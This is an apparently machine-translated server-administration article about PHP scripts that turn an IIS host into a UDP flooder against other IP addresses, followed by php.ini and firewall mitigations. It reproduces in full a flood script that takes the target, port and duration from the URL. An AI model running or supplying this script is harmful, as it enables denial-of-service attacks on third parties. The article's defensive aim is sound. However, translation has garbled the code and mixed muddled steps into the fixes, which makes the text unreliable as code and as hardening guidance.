Prevent users from using PHP code DOS to consume network bandwidth

When IIS is enabled, the outbound bandwidth of the server is used up. that is to say, the server continuously sends packets to others. this is different from the DDOS attack. DDOS constantly receives a large number of packets. use PHP code to call sockets and directly use the server's network to attack other IP addresses. the common code is as follows:
The code is as follows:
$ Packets = 0;
$ Ip = $ _ GET [\ 'IP \ '];
$ Rand = $ _ GET [\ 'Port \ '];
Set_time_limit (0 );
Ignore_user_abort (FALSE );
$ Exec_time = $ _ GET [\ 'time \ '];
$ Time = time ();
Print \ "Flooded: $ ip on port $ rand
\";
$ Max_time = $ time + $ exec_time;
For ($ I = 0; I I <65535; $ I ++ ){
$ Out. = \ "X \";
}
While (1 ){
$ Packets ++;
If (time ()> $ max_time ){
Break;
}
$ Fp = fsockopen (\ "udp: // $ ip \", $ rand, $ errno, $ errstr, 5 );
If ($ fp ){
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
Echo \ "Packet complete \". time (\ 'H: I: s \'). \ "with $ packets (\". round ($ packets * 65)/1024, 2 ). \ "mB) packets averaging \". round ($ packets/$ exec_time, 2 ). \ "packets/s \ n \";
?>

Characteristics:
When IIS is enabled, the outbound bandwidth of the server is used up. that is to say, the server continuously sends packets to others. this is different from the DDOS attack. DDOS constantly receives a large number of packets.
Solution:
Disable the above code:
In c: \ windows \ php. ini, set:
Disable_functions = gzinflate;
Set the value to Off in c: \ windows \ php. ini.
Allow_url_fopen = Off
And:
; Extension = php_sockets.dll
The preceding; number must be available, which means to restrict the use of sockets. dll
Prefix; number to be retained
Then restart IIS
If the above method still does not work, you can disable PHP extension testing in the extensions allowed in IIS.
In addition, you can use the following methods to handle unencrypted php attack code:
1. in an IP policy or firewall, all udp requests are prohibited from being sent out.
2. use first-class information monitoring. in SQL interception and website interception, intercept port = this keyword.